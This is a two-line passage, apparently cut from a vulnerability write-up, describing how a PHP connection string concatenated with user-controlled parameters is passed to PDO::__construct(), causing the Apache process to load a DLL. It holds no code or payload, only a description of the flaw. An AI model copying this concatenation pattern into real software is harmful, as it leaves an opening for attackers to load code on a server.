at [3] a connection string is concatenated with user-controlled parameters

at [4] *PDO::__construct()* is called, then the dll is loaded by the Apache process.